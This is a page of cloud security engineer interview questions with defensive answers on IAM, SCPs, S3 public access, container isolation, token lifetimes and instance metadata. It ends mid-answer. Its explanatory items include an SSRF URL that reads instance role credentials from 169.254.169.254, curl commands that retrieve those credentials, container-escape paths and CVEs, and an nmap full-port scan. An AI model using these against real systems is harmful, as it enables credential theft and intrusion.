Skip to content
Tech Interview Prep

Top 100 Cloud Security Engineer Interview Questions and Answers

The questions most likely to come up in your Cloud Security Engineer interview, ranked by likelihood, with senior-level answers that cover what the interviewer is listening for.

Curated: · Written: · Reviewed:

Reviewed 100Review pending 0

100 questions

Q&A-1A team says the provider handles security because they use managed services. Where does that reasoning break?

"Managed" tells you who operates the service, not who configures it. The provider runs the hardware, the hypervisor, and the service's own code; you still own the identity, network reachability, and data-handling settings layered on top. The reasoning breaks the moment a control that lives in your configuration is assumed to be covered.

The boundary is per service, not per provider, and it moves with the service model. AWS states it as "security of the cloud" (AWS) versus "security in the cloud" (customer). The customer side is never empty, but which items sit on it changes.

ControlEC2 (IaaS)RDS (managed DB)S3 (managed storage)Cognito (SaaS-ish)
Host/OS patchingcustomerproviderproviderprovider
Network exposurecustomer (security group)customer (security group)customer (bucket policy + Block Public Access)provider
Access controlcustomer (IAM, SSH keys)customer (master creds, IAM auth)customer (IAM + bucket policy)customer (user pool config)
Encryption at restcustomer (EBS, KMS)customer (KMS, set at creation)provider default (SSE-S3) since Jan 2023provider
Data classificationcustomercustomercustomercustomer

Two settings worth naming, because they are the ones that bite:

  • RDS encryption at rest must be enabled when the instance is created. You cannot turn it on later without restoring a snapshot into a new encrypted instance.
  • S3 Block Public Access is on by default for new buckets since April 2023, and a bucket policy granting s3:GetObject to * is still customer-side and still your problem.

Now the trade-off. A per-service table is the right default when the service holds data you are accountable for (PII, PCI, PHI) or can be reached from the internet. For a stateless compute tier with no data and no inbound path, a lighter heuristic: "does this service store or expose anything we are liable for?": is enough, and a full table is overhead. The other framing interviewers use is control plane versus data plane: the provider owns control-plane availability and the API's own authorization, you own who can call the data plane and what they can reach. Both framings land on the same customer-side items; pick the one that matches how your team already reasons about the estate.

Failure mode: a managed database reachable from 0.0.0.0/0 with a default admin user. The provider patched the engine; the security group and the credentials were customer-side and unset. Detect it by scanning security groups for 0.0.0.0/0 on database ports and checking for default or shared admin accounts, not by reading the design doc.

Evidence to close it out: the per-service table with a named owner per row, checked against the running configuration (security group rules, bucket policies, KMS key policies) not the architecture diagram.

Curated: · Written: · Reviewed:

Q&A-25Why separate environments into different accounts rather than different resource groups?

Assumptions. AWS, and "resource group" meaning the AWS Resource Groups construct: a saved tag query used for automation and cost views. If you meant Azure resource groups, they are a stronger thing and I'll come back to that.

The short answer. An account is a default-deny boundary that holds even when your policies are wrong. A resource group is a naming convention that holds only while every policy referencing it is right. For prod versus non-prod, the first property is the one you want, because the failure mode of the second is silent.

Why the account boundary is different. IAM evaluates a request against the principal's account and the resource's account. A principal in account A has no permissions on a resource in account B unless B explicitly grants them: a bucket policy naming A, a KMS key policy, a role trust policy, a RAM share. That grant list is small, enumerable, and auditable. Inside one account, every separation is a condition in a policy, and the number of conditions grows with the number of resources.

Separate accountsOne account, resource groups
IAMcross-account access needs an explicit grant in the resource's accountevery policy must carry the right tag or ARN condition
SCPsattach to accounts and OUsnothing to attach to
Service quotasper account, per Regionshared; a dev load test can exhaust prod's vCPU or API quota
Billingseparate bill, rolled up by Organizationsshared, attribution by tags
CloudTrailseparate event history per accountone history, filtered by identity
Leaked dev credentialdenied at the boundarywhatever the policies allow

The failure I'd expect. A dev role with this statement:

{ "Effect": "Allow", "Action": "rds:StopDBInstance",
  "Resource": "*",
  "Condition": { "StringEquals": { "aws:ResourceTag/env": "dev" } } }

Trace it. The dev principal calls rds:StopDBInstance on prod-orders. IAM evaluates the Allow statement and reads the DB instance's env tag. The instance was created from a Terraform module copied from the dev stack, so it carries env=dev. The condition matches, the Allow applies, and the production database stops. Nothing in the request path knew it was production.

In separate accounts the same call is denied before any tag is read: the dev principal's account holds no grant in the prod account, so the implicit deny applies and the tag never enters the decision.

What accounts don't isolate. Resource-based policies, RAM shares, VPC peering and Transit Gateway attachments, a shared ECR registry or AMI, and the CI/CD role that assumes into every account. The management account and IAM Identity Center are shared control plane by design. So the boundary is only as good as the cross-account grants, but that is a list you can read in an afternoon, against thousands of tag conditions.

What it costs. Account sprawl is real: a landing zone (Control Tower or Terraform), an extra STS AssumeRole per deploy session, centralized logging, a shared-services account, and inter-Region data transfer at the standard rate (about $0.02/GB each direction in us-east-1). For a three-person startup, one account with prod and dev in separate VPCs is defensible. The line I'd hold regardless is prod in its own account, because that is the boundary that survives a mistake.

Azure, briefly. Resource groups there do carry RBAC scope, Azure Policy scope, and lifecycle: deleting the group deletes its resources. So they are a genuine boundary, unlike AWS resource groups. But the subscription is still the quota, billing, and identity boundary, and the same argument applies one level up: prod gets its own subscription.

How I'd verify it. Assume the dev role and try to stop a prod database; expect AccessDenied. Then remove the tag condition from the dev policy and retry: it should still be denied. If it succeeds, there is a cross-account grant nobody documented, and that is the finding.

Curated: · Written: · Reviewed:

Q&A-26What can an organisation-level control policy not protect you from?

Assumption: I'll answer for AWS Organizations service control policies (SCPs), the most common case. The shape of the gaps is similar elsewhere, but the specifics below are AWS.

Short answer: An SCP is a maximum-permission filter on IAM principals in member accounts. It cannot protect the management account, service-linked roles, external principals, or anything that needs intent or after-the-fact detection.

What it actually covers

Actor / surfaceSCP applies?
IAM user or role in a member accountyes
Member account root useryes
Management account (any principal)no
Service-linked role in a member accountno
Principal in an external account reaching a resource via a resource-based policyno
Detecting that an allowed action happenedno

The first two rows are the guardrail. The rest are the gaps.

Why the gaps exist. SCPs are evaluated only for requests made by IAM principals in member accounts. The management account owns the organization, so AWS excludes it: otherwise you could lock yourself out of Organizations. Service-linked roles are created by AWS services and are exempt so the service keeps working. A resource-based policy is evaluated on the resource, and a principal in someone else's account is outside your org entirely, so your SCP never runs for it.

Alternatives, and when an SCP is the wrong tool

  • IAM identity-based policies: right when the constraint is per-team or per-workload ("this role may read this bucket"), not org-wide. SCPs filter, they never grant, so they can't be the only control for an action the business legitimately performs.
  • Permissions boundaries: right when you're delegating role creation and need to cap what the delegate can grant. A boundary caps one principal; an SCP caps a whole account.
  • Resource-based policies and VPC endpoint policies: right when the caller is outside your org, or when access belongs on the resource rather than the identity.
  • Detective controls: CloudTrail org trail, AWS Config rules, GuardDuty, Security Hub. Right whenever the question is "did it happen?" rather than "may it happen?". An SCP emits no event and no alert.

Deciding rule: reach for an SCP only when the statement is "no identity in any member account should ever do X" and it's enforceable at the identity layer. If the actor is the management account, a service-linked role, or an external principal, or if you need detection, an SCP is the wrong tool.

Failure mode. A policy denies cloudtrail:StopLogging across the org. The management account is exempt, so someone with management-account credentials stops the org trail. Nothing alerts, because the SCP is preventive only; the gap surfaces when you go looking. Detection: an org CloudTrail trail with a CloudWatch alarm on StopLogging, plus a Config rule. Both of which must live in, or report to, an account the SCP doesn't cover.

Verify it yourself. From a member-account role, call the denied action and confirm AccessDenied. Then call it from the management account and confirm it succeeds. Record both results. That pair is the whole point: the account that owns the guardrails sits outside them.

Curated: · Written: · Reviewed:

Q&A-14What does a container boundary actually protect against?

A container boundary is namespaces, cgroups, capabilities, seccomp and an LSM stacked over a kernel the container shares with the host and every neighbour. That composition decides the answer: it protects against accident and against a compromised process that is already unprivileged. It does not protect against a kernel bug, and it does not protect against a container that was handed the host's privileges at start-up.

What it actually buys you. A process in a default container cannot see or signal host PIDs, cannot read another container's filesystem, gets its own network stack, mount table, IPC and UTS namespace, and is capped on CPU, memory and PID count by its cgroup. That is the blast radius of a compromised app: an RCE in a dependency stays inside its own namespaces instead of walking the node. It also buys the boring wins: no port collisions, no shared library version fights, no rm -rf reaching the host.

What it doesn't. The kernel is the trusted computing base, and every container on the node is inside it. These put the node back in reach:

From inside the containerDefaultNeeds
Read host /etc/shadownohostPath: / or --privileged
See host PIDsno--pid=host
Load a kernel modulenoCAP_SYS_MODULE + privileged
Write release_agentnocgroup v1 + CAP_SYS_ADMIN
Talk to the runtime socketno/var/run/docker.sock mounted
Reach 169.254.169.254yesnothing
ARP-spoof a neighbour podyesnothing: NET_RAW is in the default set

The last two rows are the ones people miss. The boundary is per-container, not per-network: Docker's default capability set includes NET_RAW, so an unprivileged container on a flat pod network can ARP-spoof its neighbours, and the cloud metadata endpoint answers from the pod network unless you block it. The container boundary says nothing about the node's IAM role.

Kernel bugs are not misconfiguration. runc alone: CVE-2019-5736 overwrote /proc/self/exe to escape (fixed in 1.0-rc6), CVE-2022-0492 abused the cgroups v1 release_agent (fixed in 5.16.12), CVE-2024-21626 leaked a file descriptor into the host mount namespace (fixed in 1.1.12). Each one turned an ordinary container into root on the node. That is the shared kernel doing what shared kernels do, and it is why "we hardened the container" is not the same claim as "we don't share a kernel".

What I'd do. Drop all capabilities and add back the two or three the workload needs; refuse --privileged, host namespaces and hostPath at admission; read-only root filesystem; default seccomp profile; user-namespace remapping so uid 0 in the container is not uid 0 on the host; default-deny NetworkPolicy; block the metadata endpoint. For genuinely untrusted code (customer uploads, third-party plugins) use a micro-VM (Firecracker, Kata) or gVisor instead. Hardening a shared kernel is not the same as not sharing it.

Failure I've seen. A privileged build container was compromised through a dependency. It had hostPath: /, read the node's kubelet credentials, and from there reached every workload on the node. The container boundary was present and did nothing, because privileged mode removes it.

Detection. Admission-controller denials for privileged or host-namespace pods, auditd or Falco rules on setns, mount and unshare from inside containers, and alerts on writes to /proc/self/exe. Verify by trying it: submit a privileged pod and confirm the webhook rejects it, then the same for hostPID and a hostPath mount.

Curated: · Written: · Reviewed:

Q&A-6Why is a static cloud access key a problem even when it is stored in a vault?

The short answer

A vault protects a secret at rest and controls who can read it. It does not change what the secret is. A static access key is a bearer credential with no expiry: possession is the entire authorisation, and the provider cannot distinguish your automation from someone who copied the bytes. The vault moves the problem from "the key might leak" to "the key has leaked and nothing will tell you". The fix is a credential that expires: workload identity federation, or a vault that issues short-lived STS credentials instead of storing long-lived ones.

Why the vault does not help

The vault's audit log answers "who read the secret". The cloud provider's log answers "who used it". If the key was copied out before it ever went into the vault (a CI log, a .env in a container image, a Terraform state file, a laptop) the vault log is silent forever, and the copy keeps working.

What the provider sees when the key is used is only the key ID. There is no session, no creation time, no role, no way to attach session tags or scope the call to a specific pod. Compare the two CloudTrail shapes:

// long-term access key
"userIdentity": { "type": "IAMUser", "accessKeyId": "AKIA...", "userName": "ci-deploy" }

// assumed role session
"userIdentity": { "type": "AssumedRole", "accessKeyId": "ASIA...",
  "sessionContext": { "sessionIssuer": { "arn": "arn:aws:iam::123456789012:role/ci-deploy" },
                      "attributes": { "creationDate": "2025-01-14T09:00:00Z" } } }

The AKIA line carries no creation date and no role. When it appears from an ASN you do not own, there is no session to kill: only a key to delete, which breaks every other consumer of that key until you have found them all. The ASIA line can be revoked instantly by attaching an explicit deny to the role, which kills every outstanding session.

Exposure window

CredentialLifetimeUndetected use after a leak
Static key, rotated every 90 daysuntil deletedup to 90 days, 45 on average
STS AssumeRole session1 h default, 12 h max30 min average
Workload identity (OIDC)minutesnone: no secret exists

AWS's own guidance is to rotate access keys every 90 days or less. Rotation as usually practised creates a second key, updates the app, then deletes the old one, so for the length of that rollout two keys are live, and if the leak predates the rotation, only deletion stops the attacker. Deletion is a breaking change, so during an incident the key stays live while you grep for consumers.

What to do instead

Federate. EKS IRSA, GitHub Actions OIDC, GCP workload identity federation and Azure workload identity all exchange a platform-issued token for a short-lived credential, so there is nothing durable to steal. Where a vault stays in the path, use its dynamic secrets engine: Vault's AWS secrets engine issues STS credentials with a TTL you set, commonly 15–60 minutes, so a full vault compromise yields nothing that outlives an hour. Close the path at the organisation level: an SCP denying iam:CreateAccessKey (it does not touch existing keys, so pair it with a cleanup), and GCP's constraints/iam.disableServiceAccountKeyCreation org policy. GCP caps a service account at 10 user-managed keys; Azure caps app-registration client secrets at two years.

Failure modes and how you find them

  • Key copied out years ago, still valid. Detect with IAM Access Analyzer's unused-access findings and the credential report's key age and last-used columns.
  • Key in a repo, image or state file. Detect with secret scanning over repos and state backends, not just the vault.
  • Rotation that never deletes. Detect by asserting one active key per user via ListAccessKeys.
  • Anomalous use from an unexpected IP. GuardDuty flags unusual API activity by the principal, but the finding is "this principal behaved oddly", not "this key leaked": you still cannot tell attacker from automation.

The test worth applying: if the vault were fully compromised tomorrow, what would still be usable? With static keys, everything. With federation, nothing that outlives an hour.

Curated: · Written: · Reviewed:

Q&A-7How do you stop a storage bucket from becoming publicly readable?

The 90-second answer

Assume AWS S3, an organisation with more than one account, and buckets created by automation as well as by people. The control that actually stops a bucket becoming public is the account-level Block Public Access configuration, locked by an SCP so no account owner can turn it off. Bucket-level settings are a convention; the account-level setting is a control.

Enable all four settings at the account level:

aws s3control put-public-access-block \
  --account-id 111122223333 \
  --public-access-block-configuration \
  BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true

What each one buys you:

  • BlockPublicAcls: PutBucketAcl and PutObjectAcl fail if the ACL grants public access.
  • IgnorePublicAcls: public ACLs are accepted but ignored, so a pre-existing one stops mattering.
  • BlockPublicPolicy: PutBucketPolicy fails if the policy would allow public access.
  • RestrictPublicBuckets: a bucket that does have a public policy is reachable only by AWS service principals and principals inside the bucket owner's account.

Account-level settings apply to every bucket in the account, including buckets that do not exist yet, and the account-level setting takes precedence over the bucket-level one: a bucket owner cannot relax it from the bucket side. That is the property that matters: the automation that creates bucket 201 six months from now inherits the block without knowing it exists.

Then close the escape hatch at the organisation. An SCP that denies s3:PutBucketPublicAccessBlock and s3:DeletePublicAccessBlock on all resources means an account admin cannot set any of the four flags back to false. Without the SCP, the account-level block is one API call away from being off. Note that SCPs do not apply to the organisation's management account, so keep buckets out of it.

ControlCovers new bucketsAccount owner can disable
per-bucket Block Public Accessnoyes
account-level Block Public Accessyesyes
account-level + SCPyesno

Verification

Do not call it done until you have tried to break it. From an identity with account-admin rights:

aws s3api put-bucket-acl --bucket test-bucket --acl public-read

Expected: An error occurred (AccessDenied). BlockPublicAcls rejected it.

aws s3api put-bucket-policy --bucket test-bucket --policy file://public.json

Expected: AccessDenied. BlockPublicPolicy rejected it. If either call succeeds, the SCP or the account-level block is missing.

When you genuinely need public content

Do not open the bucket. Put CloudFront in front with an Origin Access Control (OAC), keep the bucket private, and grant only the distribution read access through a bucket policy whose Principal is cloudfront.amazonaws.com with a Condition on aws:SourceArn matching the distribution ARN. OAC signs origin requests with SigV4 and works with SSE-KMS and in all regions, which the older Origin Access Identity did not.

Failure mode

The one I have seen: 200 buckets each with bucket-level Block Public Access set by hand, a Terraform module that created bucket 201 without it, and the exposure found by an external researcher rather than by the scanner. Detection (S3 Access Analyzer external-access findings, the s3-bucket-public-read-prohibited Config rule) is worth having, but it reports the state after it exists. The account-level block plus the SCP prevents the state.

Curated: · Written: · Reviewed:

Q&A-8Why is the instance metadata service a high-value target, and what mitigates it?

The 90-second answer. The instance metadata service is a link-local HTTP endpoint, 169.254.169.254 on EC2, that returns the instance role's temporary AWS credentials to any process that can make a request from that instance. On IMDSv1 there is no authentication and no required header: a plain GET /latest/meta-data/iam/security-credentials/<role> returns AccessKeyId, SecretAccessKey and Token. That turns any SSRF in the application into credential theft with the instance role's full permissions, and because the credentials are valid, the API calls that follow look like ordinary traffic from that role. The 2019 Capital One breach is the canonical instance: an SSRF through a misconfigured WAF reached IMDSv1, and the role's S3 access was used to read roughly 100 million credit applications.

Mitigations, in the order that matters: require IMDSv2, keep the PUT response hop limit at 1, scope the instance role to what the instance actually needs, and detect credential use from outside the instance.

Why IMDSv2 changes the primitive. IMDSv2 is session-oriented: you must first PUT /latest/api/token with a TTL header, then send the returned token on every subsequent request.

TOKEN=$(curl -sX PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

TTL is 1–21600 seconds. Two properties break SSRF: the token request is a PUT, which most SSRF primitives cannot issue (they are GET-only, or follow redirects), and the metadata service does not follow redirects on the token request, which kills the common "point the fetcher at my server, 302 it to 169.254.169.254" bypass. A GET to the credentials path without a token returns 401.

Trace. A URL-fetch feature takes url=http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role.

  • IMDSv1: the fetch returns {"Code":"Success","AccessKeyId":"ASIA...","SecretAccessKey":"...","Token":"...","Expiration":"..."}. The attacker now holds the role's credentials, and the response body or error page carries them out.
  • IMDSv2 required: the same GET returns 401 Unauthorized. The attacker must get the application to issue a PUT with the TTL header and then replay the token: a much narrower primitive.

Hop limit. The PUT response hop limit defaults to 1. A container on the host needs 2, because the packet crosses the docker bridge; leaving it at 1 means a compromised container cannot reach the host's IMDS. It does nothing against SSRF from a process on the instance itself, which is why it is a second layer, not the fix.

ControlPlain GET SSRFSSRF with method/header controlContainer on host
IMDSv1credentials returnedcredentials returnedcredentials returned
IMDSv2 required401token PUT + replay neededcredentials returned
IMDSv2 + hop limit 1401token PUT + replay neededblocked

Detection, and the part people get wrong. VPC Flow Logs do not capture traffic to 169.254.169.254: it is link-local, so the fetch is invisible at the network layer. What you can see: CloudTrail records the API calls made with the stolen credentials, and the assumed-role session name for instance-profile credentials is the instance ID (i-...), so a call from that session originating outside the instance's IP is the signal. GuardDuty has a finding for exactly this (CredentialAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS). Also disable IMDS entirely (HttpEndpoint=disabled) on instances that do not need it, and set account-level defaults with ModifyInstanceMetadataDefaults so new instances launch IMDSv2-only.

Other clouds require a header (GCP wants Metadata-Flavor: Google, Azure wants Metadata: true) which stops a naive SSRF that cannot set headers. AWS IMDSv1 is the outlier that made this a class of breach.

Curated: · Written: · Reviewed:

Q&A-22How do you find the resources that are reachable from the internet?

Reachability from the internet is a property of a path, not of a rule. I enumerate every entry point, compute paths from each entry point to every resource, then check that answer against what the internet actually sees.

Start with the entry points. Internet gateways attached to VPCs, public-scheme load balancers and their target groups, CloudFront distributions and their origins, API Gateway stages, elastic IPs associated with ENIs, publicly accessible RDS endpoints, and any VPC peering or Transit Gateway attachment that routes into a VPC with an IGW. Azure's equivalents are public IPs, Application Gateway/Front Door and NSG rules; GCP's are external IPs and firewall rules with source 0.0.0.0/0.

Compute the paths. AWS Network Access Analyzer, with an access scope that matches paths originating at an internet gateway, returns the set of reachable resources without you naming pairs. Reachability Analyzer answers a specific pair (source internet gateway, destination ENI, protocol TCP, port 443) and returns either the hop-by-hop path or the component that blocks it. Azure Network Watcher's IP flow verify and Connectivity Tests, and GCP Connectivity Tests, do the same job. A grep over security groups for 0.0.0.0/0 answers a different question and misses rules that reference another security group.

Here is a worked example, with hypothetical figures. An account with 3 VPCs, 1,240 ENIs, 96 security groups, 14 route tables and 22 elastic IPs. Security Hub controls EC2.13 and RDS.2, plus a script over describe-security-groups, return 11 findings: all 0.0.0.0/0 on 80/443 attached to load balancer security groups, which is intended. Network Access Analyzer returns 7 paths to resources that should not be reachable: 3 RDS instances behind a public NLB in a peered account, 2 EC2 instances with directly associated elastic IPs, and 2 internal ALBs whose security group references a security group in the peered VPC that allows 0.0.0.0/0. An external scan of the 22 EIPs (nmap -Pn -sT -p 1-65535 --open -iL eips.txt) returns 9 open ports across 6 addresses; 2 of those addresses sit in the peered account, which the analyzer's scope did not cover, because Network Access Analyzer is evaluated per account.

Flow logs answer a different question. They show what is actually being reached, not what could be. Over 30 days, filter action=ACCEPT with srcaddr outside RFC1918 and group by dstaddr; that yields the ENIs receiving internet traffic. In the example it returns 3, one of which is the RDS path above.

The failure modes are specific. Cross-account peering and Transit Gateway paths need the analyzer run in both accounts. IPv6 has its own rules, routes and analyzer paths, and is routinely missed. NACLs are stateless, so a rule set that looks closed can still pass return traffic on 1024-65535. A public IP on an ENI with no DNS record is invisible to DNS-based inventory and only appears in an external scan. Security-group-to-security-group rules hide 0.0.0.0/0 one hop away.

Keep it current. EventBridge rules on CloudTrail for CreateInternetGateway, AttachInternetGateway, AuthorizeSecurityGroupIngress with 0.0.0.0/0, and AllocateAddress; run the analyzer on a schedule rather than at review time.

The provider's analyzer tells you what is configured to be reachable. Only an external scan tells you what answers. The differences are the findings.

Curated: · Written: · Reviewed:

Q&A-17Which cloud activity does your audit log not contain?

The short answer: data-plane access. Your audit log almost certainly contains control-plane API calls (who created, modified, deleted or described a resource) and almost certainly does not contain who read the data inside it. Reading an object, running a query, decrypting with a key: those are the activities that go missing.

Two assumptions worth stating before the answer is useful. First, this is about the cloud provider's own audit log (CloudTrail, Cloud Audit Logs, Activity Log), not application logs: an app that logs every request has its own coverage story. Second, "almost certainly" is doing real work: a handful of services log data access by default, most do not, and the default differs per service, not per account.

Why the split exists. Control-plane calls are low-volume, high-value and cheap to record, so providers enable them by default. Data-plane calls are the opposite (every GET on an object, every SELECT, every Decrypt) so they live in a separate stream, off by default, and billed per event. That economics is the whole reason the gap exists, and it is why the gap surfaces exactly when you need it: an exfiltration investigation.

QuestionControl planeData plane
who changed the bucket policyyesno
who read the objectnoyes
enabled by defaultyesno
buckets with it enabledalla subset

(Illustrative figures, not a benchmark: in the environments I have audited, control-plane logging covered every bucket and object-level logging covered a small minority. The ones someone had explicitly turned on.)

The failure mode, concretely. An investigation showed a role had permission to read a sensitive bucket and could not show whether it had. Object-level logging had never been enabled for that bucket, so the read either happened and left no trace, or never happened, and the log could not distinguish the two. That is the worst outcome available: you have the permission grant, you have the suspect, and you have no evidence either way. The detection signal for this is not an alert; it is a coverage check that fails before the incident, not during it.

How to confirm coverage. Do not read the configuration and assume it works: configuration says what should be logged, not what is. Perform a read against a real object in each bucket class and confirm the read appears in the log, with the principal and the object key. Do it per bucket class rather than per account, because the setting is per resource and a single account routinely mixes both states.

What to do about it. Enable data-plane logging for the resources that hold sensitive data, and treat the per-event cost as the price of being able to investigate at all. Blanket-enabling it across every bucket is usually the wrong trade, the volume is large and most of it is noise, so scope it to the buckets where a read is itself the incident.

One distinction that gets lost: permission logs are not access logs. IAM and policy records tell you what was allowed. Only the data-plane log tells you what happened.

Curated: · Written: · Reviewed:

Q&A-82Role-based or attribute-based access control?

Neither, on its own. Use roles for the coarse question, what is this person in this system, and attributes for the conditions that depend on the resource and the request. Assume a multi-tenant SaaS with ~50k users, ~200 resource types, and a compliance requirement to answer "who can reach this document" within a day.

Why the split. An RBAC decision is set membership: gather the subject's roles, union their permissions, check the action. It is O(roles held), cacheable for the session lifetime, and auditable by enumerating role→permission once. An ABAC decision evaluates a predicate over subject, resource, action and environment attributes, so the answer is a function of data that changes without any policy edit. That buys fine-grained rules: "editors may write, except in projects they have been rotated out of, and never to documents above their clearance": at the cost of needing fresh attributes on every decision and a policy no single reviewer can hold in their head.

Where each breaks. Role-only models grow by exception: every "just this one team" becomes a role. I have watched one reach 240 roles, 180 of them held by exactly one person, at which point the quarterly access review was signed without being read. Attribute-only models fail the other way: the effective grant is invisible until you evaluate it, so audits become sampling exercises, and a stale department attribute silently keeps a transferred employee's access alive.

ModelRolesHeld by 1 personReview feasible
role-only, 3 years in240180no
roles + attribute guards140yes

What the hybrid looks like. Roles carry the coarse grant; a small attribute guard narrows it. Classification levels: internal = 1, confidential = 2, restricted = 3. The guard is doc.classification <= user.clearance. Trace three write requests against project P1:

RequestRole checkAttribute guardDecision
alice, editor on P1, doc internal (1), clearance 2pass1 <= 2allow
bob, editor on P1, doc restricted (3), clearance 2pass3 > 2deny
carol, no role on P1, doc internal (1)failnot evaluateddeny

Two properties matter: the role check runs first so the common case stays a cache lookup, and the guard is deny-by-default. A missing attribute is a deny, not a pass.

How to tell which you need. Count roles against the number of people holding them; if a large fraction are single-holder, you are encoding attributes as roles. Then sample 20 real decisions and ask a reviewer to state the rule that produced each one without opening a policy file. If they cannot, the policy has spread into the code.

What I would watch. Attribute freshness: fetch clearance and department from the same source of truth the HR system writes, and cache for minutes, not hours. Policy location: one decision point, not a check in each service. Latency: an attribute fetch per request adds a dependency. Measure it before you commit to it.

Curated: · Written: · Reviewed:

Q&A-52How long should an access token live?

What I'd say first

Two assumptions decide this before any number does: is the access token a self-contained JWT the resource server validates offline, or an opaque handle it introspects? And is the client a browser SPA, a mobile app, or a service? Those matter more than the TTL itself.

Default I'd defend: access tokens live 5–15 minutes for anything touching money, PII, or admin actions, and up to 1 hour for ordinary read APIs. Refresh tokens live days to months, but rotate on every use and are bound to the client. Revocation is checked at refresh, not per request, unless sensitivity justifies introspection.

The reason is that for a JWT, lifetime is the revocation latency. The resource server checks signature and exp and never calls back, so a disabled account keeps working until expiry. Shortening the TTL is the cheapest way to shrink that window. The alternatives, a denylist or per-request introspection (RFC 7662), both put a lookup on the hot path.

The trade, concretely

Access token TTLRevocation pathWindow after account disable
24 hrefresh onlyup to 24 h
1 hrefresh onlyup to 1 h
15 minrefresh onlyup to 15 min
15 minintrospection per requestone round trip
15 minDPoP-bound (RFC 9449) + denylistuntil denylist propagates

Shorter TTLs are not free. At 1M active users, a 15-minute TTL means 1,000,000 / 900 ≈ 1,111 refresh requests per second sustained; a 1-hour TTL drops that to ≈ 278/s. That is the capacity you are buying back with a longer token, and it is why "just use 5 minutes everywhere" is not a design.

What the ecosystem actually ships

Google access tokens expire in 1 hour. AWS STS AssumeRole credentials default to 1 hour and cap at 12. GitHub App installation tokens are 1 hour. Entra ID defaults to about an hour. So an hour is the common ceiling, not the floor: the short end (5–15 min) is what you choose when the blast radius of a leaked token is unacceptable.

Failure modes and how I'd catch them

  • Refresh token replay. If refresh tokens are not rotated, a stolen one mints access tokens indefinitely: the access TTL is irrelevant. Rotate on every use and revoke the whole token family on reuse. Detect with a reuse-detection counter; a nonzero rate is an incident.
  • Clock skew. A 15-minute TTL with 5 minutes of skew produces spurious 401s. Allow 30–60 s leeway and refresh at ~80% of lifetime, not at expiry.
  • Thundering herd. A deploy or outage that expires a cohort at once triggers a refresh storm. Jitter refresh timing per client.
  • Log and URL leakage. Tokens in access logs, referrers, or error traces. Short TTL bounds the damage; scrubbing bounds it more.
  • Offline/mobile clients. They cannot always refresh on schedule. Either accept a longer TTL for that client class or give them an explicit offline scope.

What I'd measure before calling it settled

Disable an account and time how long an already-issued token still works. That measured window, not the configured TTL, is the number that goes in the design doc. Watch 401 rate, refresh-endpoint QPS and error rate, and reuse-detection alerts as the signals that the TTL is wrong in either direction.

RFC 9700 (OAuth 2.0 Security BCP, January 2025) points the same way: keep access tokens short-lived, and make refresh tokens either sender-constrained or rotated on every use.

The lifetime is how long a theft stays useful, so pick it from the blast radius, then pay for it in refresh capacity.

Curated: · Written: · Reviewed:

Q&A-4A policy grants an action with a wildcard resource. When is that acceptable?

The test I apply: can I enumerate the set the wildcard matches, and is every member of that set something this principal should reach? If either half fails, it is a finding, not a style preference.

Three cases where "Resource": "*" is acceptable:

  1. The action does not support resource-level permissions. ec2:DescribeInstances, s3:ListAllMyBuckets, iam:ListUsers, sts:GetCallerIdentity, tag:GetResources. AWS requires * here (or ignores the resource element entirely), so there is nothing to scope. The permission is still account-wide, so the real question becomes whether this principal should hold the listing at all.
  2. Read-only over non-sensitive, genuinely global metadata, where the matched set is the whole account by definition and nothing in it is tenant data.
  3. The wildcard is bounded by a condition or an outer boundary. aws:ResourceTag/..., s3:prefix, aws:RequestedRegion, or an SCP / permission boundary that shrinks the effective set. The policy text still says *; the effective grant does not.

Everything else (any write, delete, kms:Decrypt, s3:GetObject, iam:PassRole, sts:AssumeRole, *:*) I treat as a finding.

Why the wildcard is worse than it looks. IAM evaluates at request time: the resource ARN in the request is matched against the pattern in the policy. A wildcard is a pattern, not a snapshot, so it covers resources created after the policy was written, including ones an attacker creates. "We only had three buckets when we wrote it" is not a bound; it is a description of the past.

{
  "Effect": "Allow",
  "Action": "kms:Decrypt",
  "Resource": "*"
}

That statement grants decrypt on every key in the account whose key policy also allows the principal. For KMS the key policy is a second gate; for S3 in the same account the identity policy alone is enough, so s3:GetObject on * reaches every object in every bucket.

Bounding it instead. Where the set cannot be enumerated in advance, keep the wildcard and add the condition that makes it small:

{
  "Effect": "Allow",
  "Action": "ec2:StopInstances",
  "Resource": "arn:aws:ec2:*:*:instance/*",
  "Condition": {
    "StringEquals": { "aws:ResourceTag/team": "${aws:PrincipalTag/team}" }
  }
}

The trade-off is real: explicit ARNs are precise but brittle. Every new resource needs a policy edit, and the edit is what people forget. Tag- and condition-bounded wildcards scale, but they only work if tagging is enforced at creation. s3:prefix with ListBucket is the same shape for object listings.

Failure mode and detection. The failure I look for is a wildcard on a read or decrypt action turning a single-tenant compromise into an estate-wide one. Illustrative numbers for an S3 read grant:

ScopeObjects matchedTenants reachable
explicit key ARN11
arn:aws:s3:::tenant-a/*that tenant's objects1
"Resource": "*"every object in every bucketall

Detection is mechanical, not a review opinion: aws iam simulate-principal-policy with the actual resource ARNs tells you whether the wildcard resolves to access you did not intend; IAM Access Analyzer policy validation flags privilege-escalation paths such as iam:PassRole with a wildcard resource; CloudTrail shows what the principal actually touched. For a wildcard on a listing action the check is different: does the principal need the account-wide list at all, or would a scoped list do?

Curated: · Written: · Reviewed:

Q&A-2A policy grants read-only access. How do you know that is what the identity can actually do?

Assume AWS IAM, and pin the question down before answering it: which principal (a role ARN, not "the team"), which action, which resource ARN. Read-only is not a property of an identity. It is a property of a (principal, action, resource) triple.

Inside one account, a request is allowed if any identity-based policy or any resource-based policy allows it, and denied if an explicit deny, a permissions boundary, or an SCP blocks it. Effective permissions are that union intersected with those limits. Reading the identity policy gives you one term. A bucket policy granting s3:PutObject to the whole account, or a KMS key policy granting kms:Decrypt, hands write to an identity whose own policy says read-only. Boundaries and SCPs only subtract, they never grant, and a permissions boundary does not constrain resource-based policies at all. Cross-account, both sides must allow.

So test the triple, not the document:

aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::111122223333:role/ReportingReader \
  --action-names s3:PutObject \
  --resource-arns arn:aws:s3:::reports-prod/2024/q3.csv
{
  "EvaluationResults": [
    {
      "EvalActionName": "s3:PutObject",
